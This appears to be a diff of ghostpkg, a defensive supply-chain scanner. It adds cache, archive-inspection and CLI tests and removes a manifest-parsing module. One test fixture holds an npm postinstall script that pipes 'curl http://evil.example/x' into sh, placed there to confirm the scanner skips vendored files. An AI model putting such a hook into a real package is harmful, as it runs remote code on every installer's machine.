+    def test_pypi_names_are_normalised_per_pep503(self, tmp_path):
+        cache = Cache(directory=tmp_path)
+        cache.put(self.facts("zope.interface", "pypi"))
+        assert cache.get("pypi", "zope-interface") is not None
+        assert cache.get("pypi", "Zope_Interface") is not None
+
+    def test_concurrent_writes_do_not_lose_entries(self, tmp_path):
+        cache = Cache(directory=tmp_path)
+        names = [f"pkg-{i}" for i in range(200)]
+
+        def worker(chunk):
+            for name in chunk:
+                cache.put(self.facts(name, "pypi"))
+
+        threads = [
+            threading.Thread(target=worker, args=(names[i::4],)) for i in range(4)
+        ]
+        for thread in threads:
+            thread.start()
+        for thread in threads:
+            thread.join()
+
+        assert all(cache.get("pypi", name) is not None for name in names)
+
+
+class TestDeepReadsOnlyTheTopLevelInstallScript:
+    """Matching on basename alone judged a package by test fixtures it shipped,
+    and install signals block a young package."""
+
+    def sdist(self, files):
+        buffer = io.BytesIO()
+        with tarfile.open(fileobj=buffer, mode="w:gz") as archive:
+            for path, text in files.items():
+                data = text.encode()
+                info = tarfile.TarInfo(path)
+                info.size = len(data)
+                archive.addfile(info, io.BytesIO(data))
+        return buffer.getvalue()
+
+    def test_nested_fixture_is_ignored(self):
+        archive = self.sdist({
+            "mylib-0.1/setup.py": "from setuptools import setup\nsetup(name='x')\n",
+            "mylib-0.1/tests/fixtures/setup.py": "import subprocess\nsubprocess.run(['x'])\n",
+        })
+        assert inspect_archive(archive, "pypi") == []
+
+    def test_the_real_setup_py_is_still_read(self):
+        archive = self.sdist({"mylib-0.1/setup.py": "import subprocess\nsubprocess.run([])\n"})
+        assert [s.kind for s in inspect_archive(archive, "pypi")] == ["subprocess"]
+
+    def test_vendored_package_json_is_ignored(self):
+        archive = self.sdist({
+            "package/package.json": json.dumps({"scripts": {"build": "tsc"}}),
+            "package/node_modules/evil/package.json": json.dumps(
+                {"scripts": {"postinstall": "curl http://evil.example/x | sh"}}
+            ),
+        })
+        assert inspect_archive(archive, "npm") == []
+
+
+class TestScanArgumentHandling:
+    def test_directory_is_refused_not_crashed(self, tmp_path):
+        assert main(["scan", str(tmp_path)]) == 2
+
+    def test_missing_file_is_refused(self, tmp_path):
+        assert main(["scan", str(tmp_path / "nope.txt")]) == 2
+
+
+class TestPeerDependenciesAreRead:
+    def test_peer_dependencies_included(self):
+        text = json.dumps({"dependencies": {"a": "1"}, "peerDependencies": {"b": "2"}})
+        assert set(parse_package_json(text)) == {"a", "b"}

ghostpkg-0.6.0/ghostpkg/manifests.py

@@ -1,193 +0,0 @@
-"""Manifest parsing.
-
-Each format is recognised explicitly. Guessing is what made an earlier version
-read `pyproject.toml` with the requirements.txt parser and report TOML keys as
-package names -- `build-backend` came back "does not exist", `version` came back
-"ok" because a package of that name happens to exist. A security tool that
-confidently reports nonsense is worse than one that refuses to run.
-"""
-
-from __future__ import annotations
-
-import json
-import re
-from pathlib import Path
-
-REQUIREMENT_LINE = re.compile(r"^\s*([A-Za-z0-9][A-Za-z0-9._-]*)")
-
-SUPPORTED = "requirements*.txt, pyproject.toml, package.json"
-
-
-class UnsupportedManifest(ValueError):
-    """The file is not a manifest ghostpkg knows how to read."""
-
-
-def parse_requirements(text: str) -> list[str]:
-    names = []
-    for raw in text.splitlines():
-        line = raw.strip()
-        if not line or line.startswith(("#", "-", "git+", "http")):
-            continue
-        match = REQUIREMENT_LINE.match(line)
-        if match:
-            names.append(match.group(1))
-    return names
-
-
-def parse_package_json(text: str) -> list[str]:
-    data = json.loads(text)
-    names: list[str] = []
-    for key in ("dependencies", "devDependencies", "optionalDependencies"):
-        names.extend((data.get(key) or {}).keys())
-    return names
-
-
-def _requirement_name(spec: str) -> str | None:
-    """Take the project name off a PEP 508 requirement string."""
-    spec = spec.strip()
-    if not spec or spec.startswith(("#", "-")):
-        return None
-    match = REQUIREMENT_LINE.match(spec)
-    return match.group(1) if match else None
-
-
-def _toml_arrays(text: str, table: str, key: str) -> list[str]:
-    """Read a string array out of one TOML table without a TOML parser.
-
-    Only the shapes that appear in dependency declarations are handled:
-    `key = ["a", "b"]` on one line, or spread across several. This exists
-    because tomllib is 3.11+ and ghostpkg supports 3.9 with no dependencies.
-    """
-    lines = text.splitlines()
-    current = ""
-    collected: list[str] = []
-    depth = 0
-    buffer = ""
-
-    for raw in lines:
-        line = raw.strip()
-        if depth == 0:
-            if line.startswith("[") and line.endswith("]"):
-                current = line[1:-1].strip().strip('"')
-                continue
-            if current != table:
-                continue
-            stripped = line.split("#", 1)[0].strip()
-            if not stripped.startswith(key):
-                continue
-            after = stripped[len(key):].lstrip()
-            if not after.startswith("="):
-                continue
-            buffer = after[1:].strip()
-            if not buffer.startswith("["):
-                continue
-            depth = 1
-            buffer = buffer[1:]
-        else:
-            buffer += " " + line.split("#", 1)[0].strip()
-
-        if depth:
-            if "]" in buffer:
-                buffer = buffer[: buffer.index("]")]
-                depth = 0
-                collected.extend(re.findall(r'["\']([^"\']+)["\']', buffer))
-                buffer = ""
-    return collected
-
-
-def _toml_table_keys(text: str, table: str) -> list[str]:
-    """Read the keys of one TOML table (`name = value` lines)."""
-    keys: list[str] = []
-    current = ""
-    for raw in text.splitlines():
-        line = raw.split("#", 1)[0].strip()
-        if line.startswith("[") and line.endswith("]"):
-            current = line[1:-1].strip().strip('"')
-            continue
-        if current != table or "=" not in line:
-            continue
-        name = line.split("=", 1)[0].strip().strip('"').strip("'")
-        if name:
-            keys.append(name)
-    return keys
-
-
-def parse_pyproject(text: str) -> list[str]:
-    """Dependencies from PEP 621 and from Poetry.
-
-    Uses tomllib where it exists (3.11+) and a narrow fallback parser below
-    that, because adding a TOML dependency would contradict the whole point
-    of this tool.
-    """
-    try:
-        import tomllib  # noqa: PLC0415
-    except ImportError:
-        tomllib = None  # type: ignore[assignment]
-
-    names: list[str] = []
-
-    if tomllib is not None:
-        data = tomllib.loads(text)
-        project = data.get("project") or {}
-        for spec in project.get("dependencies") or []:
-            name = _requirement_name(spec)
-            if name:
-                names.append(name)
-        for group in (project.get("optional-dependencies") or {}).values():
-            for spec in group:
-                name = _requirement_name(spec)
-                if name:
-                    names.append(name)
-        poetry = ((data.get("tool") or {}).get("poetry") or {})
-        for section in ("dependencies", "dev-dependencies"):
-            for name in (poetry.get(section) or {}):
-                if name.lower() != "python":
-                    names.append(name)
-        for group in ((poetry.get("group") or {}).values()):
-            for name in (group.get("dependencies") or {}):
-                if name.lower() != "python":
-                    names.append(name)
-    else:
-        for spec in _toml_arrays(text, "project", "dependencies"):
-            name = _requirement_name(spec)
-            if name:
-                names.append(name)
-        # optional-dependencies is a table of arrays; scan every key in it
-        for raw in text.splitlines():
-            stripped = raw.split("#", 1)[0].strip()
-            if stripped.startswith("[project.optional-dependencies]"):
-                break
-        for key in _toml_table_keys(text, "project.optional-dependencies"):
-            for spec in _toml_arrays(text, "project.optional-dependencies", key):
-                name = _requirement_name(spec)
-                if name:
-                    names.append(name)
-        for table in ("tool.poetry.dependencies", "tool.poetry.dev-dependencies"):
-            for name in _toml_table_keys(text, table):
-                if name.lower() != "python":
-                    names.append(name)
-
-    seen: set[str] = set()
-    unique = []
-    for name in names:
-        if name not in seen:
-            seen.add(name)
-            unique.append(name)
-    return unique
-
-
-def load_manifest(path: Path) -> tuple[list[str], str]:
-    """Return (package names, ecosystem). Raises UnsupportedManifest."""
-    name = path.name.lower()
-    text = path.read_text(encoding="utf-8")
-
-    if name == "package.json":
-        return parse_package_json(text), "npm"
-    if name == "pyproject.toml":
-        return parse_pyproject(text), "pypi"
-    if name.endswith(".txt"):
-        return parse_requirements(text), "pypi"
-
-    raise UnsupportedManifest(
-        f"don't know how to read {path.name!r}. Supported: {SUPPORTED}"
-    )